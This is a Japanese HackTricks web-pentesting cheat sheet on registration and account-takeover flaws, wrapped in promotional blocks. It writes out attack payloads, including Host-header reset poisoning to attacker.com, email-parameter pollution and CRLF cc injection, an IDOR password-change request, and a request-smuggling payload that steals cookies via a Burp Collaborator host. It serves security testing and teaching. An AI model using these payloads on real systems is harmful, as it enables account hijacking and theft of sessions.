hacktricks/pentesting-web/registration-vulnerabilities.md

230 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 登録および乗っ取りの脆弱性
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害**されているかどうかを確認するための**無料**機能を提供しています。
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウントの乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %}
***
## 登録乗っ取り
### 重複登録
* 既存のユーザー名を使用して生成を試みる
* メールアドレスを変えて確認する:
* 大文字
* \+1@
* メールにドットを追加する
* メール名に特殊文字(%00, %09, %20
* メールの後に黒い文字を入れる:`test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### ユーザー名列挙
アプリケーション内でユーザー名がすでに登録されているかどうかを確認する。
### パスワードポリシー
ユーザーを作成する際にパスワードポリシーを確認する(弱いパスワードが使用できるか確認する)。\
その場合、資格情報をブルートフォース攻撃することを試みるかもしれません。
### SQLインジェクション
[**このページを確認してください**](sql-injection/#insert-statement)アカウントの乗っ取りを試みたり、登録フォームを通じて情報を抽出する方法を学ぶために**SQLインジェクション**を使用します。
### Oauth乗っ取り
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### SAML脆弱性
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### メール変更
登録後、メールを変更し、この変更が正しく検証されるか、任意のメールに変更できるか確認する。
### その他のチェック
* **使い捨てメール**が使用できるか確認する
* **長い** **パスワード** (>200)は**DoS**を引き起こす
* **アカウント作成のレート制限を確認する**
* username@**burp\_collab**.netを使用し、**コールバック**を分析する
## **パスワードリセット乗っ取り**
### リファラー経由のパスワードリセットトークン漏洩 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. 自分のメールアドレスにパスワードリセットをリクエストする
2. パスワードリセットリンクをクリックする
3. パスワードを変更しない
4. 任意の3rdパーティのウェブサイトFacebook、Twitterをクリックする
5. Burp Suiteプロキシでリクエストを傍受する
6. リファラーヘッダーがパスワードリセットトークンを漏洩しているか確認する。
### パスワードリセットポイズニング <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Burp Suiteでパスワードリセットリクエストを傍受する
2. Burp Suiteで次のヘッダーを追加または編集する`Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 修正されたヘッダーでリクエストを転送する\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _hostヘッダー_に基づいてパスワードリセットURLを探す`https://attacker.com/reset-password.php?token=TOKEN`
### メールパラメータ経由のパスワードリセット <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. 攻撃者は自分のアカウントでログインし、**パスワード変更**機能に移動する必要があります。
2. Burp Suiteを起動し、リクエストをインターセプトします。
3. リピータタブに送信し、パラメータを編集しますユーザーID/メール\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
パスワードリセットトークンは毎回ランダムに生成され、一意であるべきです。\
トークンが期限切れになるか、常に同じかを確認してください。場合によっては、生成アルゴリズムが弱く、推測可能です。以下の変数がアルゴリズムによって使用される可能性があります。
* タイムスタンプ
* ユーザーID
* ユーザーのメール
* 名と姓
* 生年月日
* 暗号化
* 数字のみ
* 小さなトークンシーケンス(\[A-Z,a-z,0-9\]の間の文字)
* トークンの再利用
* トークンの有効期限
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. 特定のメールtest@mail.comを使用してAPI/UIからパスワードリセットリクエストをトリガーします。
2. サーバーの応答を検査し、`resetToken`を確認します。
3. 次に、トークンをURLに使用します`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. 被害者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白を挿入します。例:`"admin "`
2. 悪意のあるユーザー名でパスワードリセットをリクエストします。
3. あなたのメールに送信されたトークンを使用して被害者のパスワードをリセットします。
4. 新しいパスワードで被害者のアカウントに接続します。
プラットフォームCTFdはこの攻撃に対して脆弱でした。\
参照:[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. アプリケーション内またはサブドメイン内でXSSを見つけます。クッキーが親ドメインにスコープされている場合`*.domain.com`
2. 現在の**セッションクッキー**を漏洩させます。
3. クッキーを使用してユーザーとして認証します。
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. **smuggler**を使用してHTTPリクエストスムーグリングのタイプCL、TE、CL.TEを検出します。\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. 次のデータで`POST / HTTP/1.1`を上書きするリクエストを作成します:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` 被害者をburpcollabにオープンリダイレクトし、クッキーを盗むことを目的としています。\
3\. 最終リクエストは次のようになります。
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackeroneはこのバグを悪用した報告をしています\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### CSRFによるアカウント乗っ取り <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. CSRF用のペイロードを作成します。例: “パスワード変更のための自動送信HTMLフォーム”
2. ペイロードを送信します
### JWTによるアカウント乗っ取り <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Tokenはユーザーを認証するために使用されることがあります。
* 別のユーザーID / メールでJWTを編集します
* 弱いJWT署名を確認します
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## 参考文献
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}